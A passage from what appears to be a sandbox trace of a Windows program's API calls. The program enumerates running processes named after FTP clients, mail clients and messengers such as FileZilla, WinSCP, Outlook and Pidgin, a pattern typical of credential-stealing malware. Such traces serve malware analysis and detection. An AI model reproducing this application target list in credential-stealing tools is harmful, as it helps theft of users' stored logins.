th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0245.574] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x89c) returned 0xfc [0245.575] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\bitkinex.exe")) returned 0x35 [0245.575] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" | out: _Dest="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe") returned="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" [0245.575] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.575] CloseHandle (hObject=0xfc) returned 1 [0245.575] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0245.576] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b8) returned 0xfc [0245.576] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\coreftp.exe")) returned 0x37 [0245.576] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" [0245.576] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.576] CloseHandle (hObject=0xfc) returned 1 [0245.576] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0245.577] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x804) returned 0xfc [0245.577] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Photo Viewer\\far.exe" (normalized: "c:\\program files\\windows photo viewer\\far.exe")) returned 0x2d [0245.577] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Photo Viewer\\far.exe" | out: _Dest="C:\\Program Files\\Windows Photo Viewer\\far.exe") returned="C:\\Program Files\\Windows Photo Viewer\\far.exe" [0245.577] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.577] CloseHandle (hObject=0xfc) returned 1 [0245.578] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0245.578] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x64) returned 0xfc [0245.578] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\filezilla.exe" (normalized: "c:\\program files\\windows nt\\filezilla.exe")) returned 0x29 [0245.579] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows NT\\filezilla.exe" | out: _Dest="C:\\Program Files\\Windows NT\\filezilla.exe") returned="C:\\Program Files\\Windows NT\\filezilla.exe" [0245.579] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.579] CloseHandle (hObject=0xfc) returned 1 [0245.579] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0245.627] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b0) returned 0xfc [0245.627] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\flashfxp.exe" (normalized: "c:\\program files\\common files\\flashfxp.exe")) returned 0x2a [0245.628] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Common Files\\flashfxp.exe" | out: _Dest="C:\\Program Files\\Common Files\\flashfxp.exe") returned="C:\\Program Files\\Common Files\\flashfxp.exe" [0245.628] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.628] CloseHandle (hObject=0xfc) returned 1 [0245.628] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0245.629] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc4) returned 0xfc [0245.629] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\fling.exe" (normalized: "c:\\program files (x86)\\windows nt\\fling.exe")) returned 0x2b [0245.629] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows NT\\fling.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\fling.exe") returned="C:\\Program Files (x86)\\Windows NT\\fling.exe" [0245.629] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.629] CloseHandle (hObject=0xfc) returned 1 [0245.629] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0245.630] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x62c) returned 0xfc [0245.630] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\foxmailincmail.exe" (normalized: "c:\\program files\\windows nt\\foxmailincmail.exe")) returned 0x2e [0245.630] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows NT\\foxmailincmail.exe" | out: _Dest="C:\\Program Files\\Windows NT\\foxmailincmail.exe") returned="C:\\Program Files\\Windows NT\\foxmailincmail.exe" [0245.631] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.631] CloseHandle (hObject=0xfc) returned 1 [0245.631] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0245.631] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x858) returned 0xfc [0245.631] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\gmailnotifierpro.exe")) returned 0x3e [0245.632] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe" [0245.632] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.632] CloseHandle (hObject=0xfc) returned 1 [0245.632] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0245.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8bc) returned 0xfc [0245.633] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\icq.exe")) returned 0x2c [0245.633] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe" [0245.633] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.633] CloseHandle (hObject=0xfc) returned 1 [0245.633] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0245.634] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0xfc [0245.634] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\leechftp.exe" (normalized: "c:\\program files\\windows journal\\leechftp.exe")) returned 0x2d [0245.634] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Journal\\leechftp.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\leechftp.exe") returned="C:\\Program Files\\Windows Journal\\leechftp.exe" [0245.634] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.634] CloseHandle (hObject=0xfc) returned 1 [0245.634] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0245.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x918) returned 0xfc [0245.635] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" (normalized: "c:\\program files (x86)\\windows mail\\ncftp.exe")) returned 0x2d [0245.636] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe") returned="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" [0245.636] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.636] CloseHandle (hObject=0xfc) returned 1 [0245.636] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0245.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0xfc [0245.637] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\notepad.exe" (normalized: "c:\\program files\\common files\\notepad.exe")) returned 0x29 [0245.637] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Common Files\\notepad.exe" | out: _Dest="C:\\Program Files\\Common Files\\notepad.exe") returned="C:\\Program Files\\Common Files\\notepad.exe" [0245.637] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.637] CloseHandle (hObject=0xfc) returned 1 [0245.637] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0245.638] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x96c) returned 0xfc [0245.638] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\operamail.exe" (normalized: "c:\\program files\\windows nt\\operamail.exe")) returned 0x29 [0245.639] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows NT\\operamail.exe" | out: _Dest="C:\\Program Files\\Windows NT\\operamail.exe") returned="C:\\Program Files\\Windows NT\\operamail.exe" [0245.639] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.639] CloseHandle (hObject=0xfc) returned 1 [0245.639] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0245.640] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x988) returned 0xfc [0245.640] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\outlook.exe")) returned 0x37 [0245.640] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" [0245.640] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.640] CloseHandle (hObject=0xfc) returned 1 [0245.640] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0245.641] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x990) returned 0xfc [0245.641] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" (normalized: "c:\\program files (x86)\\uninstall information\\pidgin.exe")) returned 0x37 [0245.643] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe") returned="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" [0245.643] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.643] CloseHandle (hObject=0xfc) returned 1 [0245.643] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0245.644] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x998) returned 0xfc [0245.644] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" (normalized: "c:\\program files (x86)\\windows mail\\scriptftp.exe")) returned 0x31 [0245.644] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe") returned="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" [0245.644] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.644] CloseHandle (hObject=0xfc) returned 1 [0245.644] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0245.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a0) returned 0xfc [0245.645] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\skype.exe")) returned 0x35 [0245.646] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" [0245.646] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.646] CloseHandle (hObject=0xfc) returned 1 [0245.646] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0245.647] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a8) returned 0xfc [0245.647] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\smartftp.exe")) returned 0x35 [0245.647] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe" | out: _Dest="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe") returned="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe" [0245.647] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.648] CloseHandle (hObject=0xfc) returned 1 [0245.648] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0245.649] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x97c) returned 0xfc [0245.649] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" (normalized: "c:\\program files (x86)\\common files\\thunderbird.exe")) returned 0x33 [0245.649] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\thunderbird.exe") returned="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" [0245.649] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.649] CloseHandle (hObject=0xfc) returned 1 [0245.649] malloc (_Size=0xd380) returned 0x1c8d3d8 [0245.649] free (_Block=0x1c846d0) [0245.649] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0245.650] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x978) returned 0xfc [0245.651] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\trillian.exe" (normalized: "c:\\program files (x86)\\common files\\trillian.exe")) returned 0x30 [0245.651] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Common Files\\trillian.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\trillian.exe") returned="C:\\Program Files (x86)\\Common Files\\trillian.exe" [0245.651] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.651] CloseHandle (hObject=0xfc) returned 1 [0245.651] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0245.652] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb58) returned 0xfc [0245.652] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" (normalized: "c:\\program files\\windows portable devices\\webdrive.exe")) returned 0x36 [0245.652] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" | out: _Dest="C:\\Program Files\\Windows Portable Devices\\webdrive.exe") returned="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" [0245.653] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.653] CloseHandle (hObject=0xfc) returned 1 [0245.653] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0245.654] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb60) returned 0xfc [0245.654] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\whatsapp.exe" (normalized: "c:\\program files\\windows journal\\whatsapp.exe")) returned 0x2d [0245.654] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Journal\\whatsapp.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\whatsapp.exe") returned="C:\\Program Files\\Windows Journal\\whatsapp.exe" [0245.654] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.654] CloseHandle (hObject=0xfc) returned 1 [0245.654] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0245.655] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb68) returned 0xfc [0245.655] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" (normalized: "c:\\program files (x86)\\windows media 